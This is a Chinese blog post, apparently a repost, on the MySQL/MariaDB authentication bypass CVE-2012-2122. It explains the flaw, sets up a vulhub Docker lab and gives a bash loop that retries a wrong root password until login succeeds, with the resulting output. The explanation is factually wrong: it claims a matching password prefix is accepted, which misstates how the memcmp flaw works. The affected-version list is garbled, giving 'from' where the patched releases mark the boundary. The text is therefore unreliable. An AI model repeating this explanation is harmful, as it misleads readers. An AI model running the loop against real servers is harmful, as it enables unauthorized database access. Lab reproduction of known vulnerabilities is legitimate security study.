当前位置:   article > 正文

Mysql 身份认证绕过漏洞(CVE-2012-2122)

cve-2012-2122

        CVE-2012-2122 是 MySQL 数据库中的一个身份认证绕过漏洞,也被称为 "MySQL Authentication Bypass" 漏洞。该漏洞的核心原理涉及到 MySQL 在处理身份认证时的一个安全缺陷,使得攻击者可以绕过身份认证并以未经授权的方式访问数据库。

漏洞原理 

具体原理如下:

  1. 正常情况下,当用户尝试登录到 MySQL 数据库时,他们提供用户名和密码。MySQL 会使用提供的密码与数据库中存储的密码进行比较,以验证用户身份。

  2. 但是,在受影响的 MySQL 版本中,密码比较存在一个问题。当 MySQL 在比较密码时,它会通过 memcmp() 函数来比较密码的字节,直到遇到一个不匹配的字节。在正常情况下,当两个密码不匹配时,memcmp() 将返回一个非零值,这应该导致身份认证失败。

  3. 但由于漏洞的存在,MySQL 在检测到 memcmp() 返回非零值时不会立即拒绝访问,而是继续比较密码的余下部分。这意味着攻击者可以提供一个恶意构造的密码,其中前部分与正确密码匹配,但后面包含不匹配的数据。尽管 memcmp() 返回非零值,MySQL 仍会认为密码是匹配的,因此认证成功。

也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6

环境搭建

        我们在Ubuntu系统中使用docker搭建坏境,确保在不同环境中都有一致性。

        将vulhub解压到某一目录下,进入到该目录 

  1. /home/li/vulhub-master/mysql/CVE-2012-2122

        执行如下命令启动测试环境 

docker compose up -d

        环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。   如下

 mysql -uroot -p123456 -h192.168.84.135                                        
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2553
Server version: 5.5.23 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
 

漏洞验证

        通过循环,尝试通过 MySQL 客户端以用户名 "root" 和错误密码 "wrong" 连接到指定的 MySQL 数据库服务器。在bash下运行如下命令,在一定数量尝试后便可成功登录:

(your-ip为环境搭建时系统的IP  并非docker中IP)

 for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done


ERROR 1045 (28000): Access denied for user 'root'@'192.168.84.135' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'192.168.84.135' (using password: YES)
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2498
Server version: 5.5.23 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
 

参考链接: CVE-2012-2122 : sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x befor (cvedetails.com)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小惠珠哦/article/detail/987251
推荐阅读
相关标签
  

闽ICP备14008679号